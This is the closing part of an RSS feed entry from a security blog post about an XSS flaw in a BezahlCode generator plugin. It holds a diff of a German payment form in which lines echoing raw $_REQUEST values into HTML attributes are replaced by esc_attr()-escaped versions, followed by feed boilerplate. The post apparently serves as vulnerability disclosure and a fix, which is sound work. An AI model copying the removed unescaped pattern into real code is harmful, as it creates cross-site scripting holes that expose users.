<span class="re8">+Name:&lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: DTAUS Text&quot; id=&quot;gen_name&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'dtaus'<span class="br0">&#41;</span>&quot; name=&quot;gen_name&quot; maxlength=&quot;<span class="nu0">27</span>&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_name'<span class="br0">&#93;</span><span class="br0">&#41;</span>?esc_attr<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_name'<span class="br0">&#93;</span><span class="br0">&#41;</span>:&quot;&quot;?&gt;&quot;&gt;</span><br />
&nbsp;&lt;br /&gt;<br />
<span class="re7">-Kontonummer:&lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: Ganzzahl z.B. <span class="nu0">1234</span>&quot; id=&quot;gen_account&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'ganzzahl'<span class="br0">&#41;</span>&quot; name=&quot;gen_account&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_account'<span class="br0">&#93;</span><span class="br0">&#41;</span>?$_REQUEST<span class="br0">&#91;</span>'gen_account'<span class="br0">&#93;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
<span class="re8">+Kontonummer:&lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: Ganzzahl z.B. <span class="nu0">1234</span>&quot; id=&quot;gen_account&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'ganzzahl'<span class="br0">&#41;</span>&quot; name=&quot;gen_account&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_account'<span class="br0">&#93;</span><span class="br0">&#41;</span>?esc_attr<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_account'<span class="br0">&#93;</span><span class="br0">&#41;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
&nbsp;&lt;br /&gt;<br />
<span class="re7">-BLZ:&lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: Ganzzahl z.B. <span class="nu0">1234</span>&quot; id=&quot;gen_BNC&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'ganzzahl'<span class="br0">&#41;</span>&quot; name=&quot;gen_BNC&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_BNC'<span class="br0">&#93;</span><span class="br0">&#41;</span>?$_REQUEST<span class="br0">&#91;</span>'gen_BNC'<span class="br0">&#93;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
<span class="re8">+BLZ:&lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: Ganzzahl z.B. <span class="nu0">1234</span>&quot; id=&quot;gen_BNC&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'ganzzahl'<span class="br0">&#41;</span>&quot; name=&quot;gen_BNC&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_BNC'<span class="br0">&#93;</span><span class="br0">&#41;</span>?esc_attr<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_BNC'<span class="br0">&#93;</span><span class="br0">&#41;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
&nbsp;&lt;br /&gt;<br />
<span class="re7">-Betrag in Euro <span class="br0">&#40;</span>z.B. <span class="nu0">1234</span>,<span class="nu0">50</span><span class="br0">&#41;</span> &lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: Dezimalzahl z.B. <span class="nu0">1234</span>,<span class="nu0">50</span>&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'dezimalzahl'<span class="br0">&#41;</span>&quot; id=&quot;gen_amount&quot; name=&quot;gen_amount&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_amount'<span class="br0">&#93;</span><span class="br0">&#41;</span>?$_REQUEST<span class="br0">&#91;</span>'gen_amount'<span class="br0">&#93;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
<span class="re8">+Betrag in Euro <span class="br0">&#40;</span>z.B. <span class="nu0">1234</span>,<span class="nu0">50</span><span class="br0">&#41;</span> &lt;br /&gt;&lt;input type=&quot;text&quot; tooltipText=&quot;Format: Dezimalzahl z.B. <span class="nu0">1234</span>,<span class="nu0">50</span>&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'dezimalzahl'<span class="br0">&#41;</span>&quot; id=&quot;gen_amount&quot; name=&quot;gen_amount&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_amount'<span class="br0">&#93;</span><span class="br0">&#41;</span>?esc_attr<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_amount'<span class="br0">&#93;</span><span class="br0">&#41;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
&nbsp;&lt;br /&gt;<br />
<span class="re7">-Verwendungszweck:&lt;br /&gt;&lt;input type=&quot;text&quot; id=&quot;gen_reason&quot; tooltipText=&quot;Format: DTAUS Text&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'dtaus'<span class="br0">&#41;</span>&quot; name=&quot;gen_reason&quot; maxlength=&quot;<span class="nu0">54</span>&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_reason'<span class="br0">&#93;</span><span class="br0">&#41;</span>?$_REQUEST<span class="br0">&#91;</span>'gen_reason'<span class="br0">&#93;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
<span class="re8">+Verwendungszweck:&lt;br /&gt;&lt;input type=&quot;text&quot; id=&quot;gen_reason&quot; tooltipText=&quot;Format: DTAUS Text&quot; onblur=&quot;checkInput<span class="br0">&#40;</span>this, 'dtaus'<span class="br0">&#41;</span>&quot; name=&quot;gen_reason&quot; maxlength=&quot;<span class="nu0">54</span>&quot; value=&quot;&lt;?= isset<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_reason'<span class="br0">&#93;</span><span class="br0">&#41;</span>?esc_attr<span class="br0">&#40;</span>$_REQUEST<span class="br0">&#91;</span>'gen_reason'<span class="br0">&#93;</span><span class="br0">&#41;</span>:&quot;&quot;?&gt;&quot; &gt;</span><br />
&nbsp;&lt;br/&gt;<br />
&nbsp;&lt;input type=&quot;button&quot; value=&quot;Erstellen&quot; onclick='javascript:generateImage<span class="br0">&#40;</span><span class="br0">&#41;</span>;'&gt;<br />
&nbsp;&lt;/form&gt;
        </div>
    </div>
</div>

<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/890-bezahlcode-generator-xss/">источник</a> обязательно.</p>
<p><a href="http://feedads.g.doubleclick.net/~a/rFSqLkMk6_2JiVUbrB0M0pM_zps/0/da"><img src="http://feedads.g.doubleclick.net/~a/rFSqLkMk6_2JiVUbrB0M0pM_zps/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/rFSqLkMk6_2JiVUbrB0M0pM_zps/1/da"><img src="http://feedads.g.doubleclick.net/~a/rFSqLkMk6_2JiVUbrB0M0pM_zps/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/sjblog_security?a=EeIa7WdtlVE:t4kkR7oRdkE:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=EeIa7WdtlVE:t4kkR7oRdkE:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=EeIa7WdtlVE:t4kkR7oRdkE:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=EeIa7WdtlVE:t4kkR7oRdkE:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=EeIa7WdtlVE:t4kkR7oRdkE:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=EeIa7WdtlVE:t4kkR7oRdkE:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=EeIa7WdtlVE:t4kkR7oRdkE:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=EeIa7WdtlVE:t4kkR7oRdkE:l6gmwiTKsz0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=l6gmwiTKsz0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=EeIa7WdtlVE:t4kkR7oRdkE:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=EeIa7WdtlVE:t4kkR7oRdkE:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=EeIa7WdtlVE:t4kkR7oRdkE:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=TzevzKxY174" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/sjblog_security/~4/EeIa7WdtlVE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/890-bezahlcode-generator-xss/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://blog.sjinks.pro/security/890-bezahlcode-generator-xss/</feedburner:origLink></item>
	</channel>
</rss>

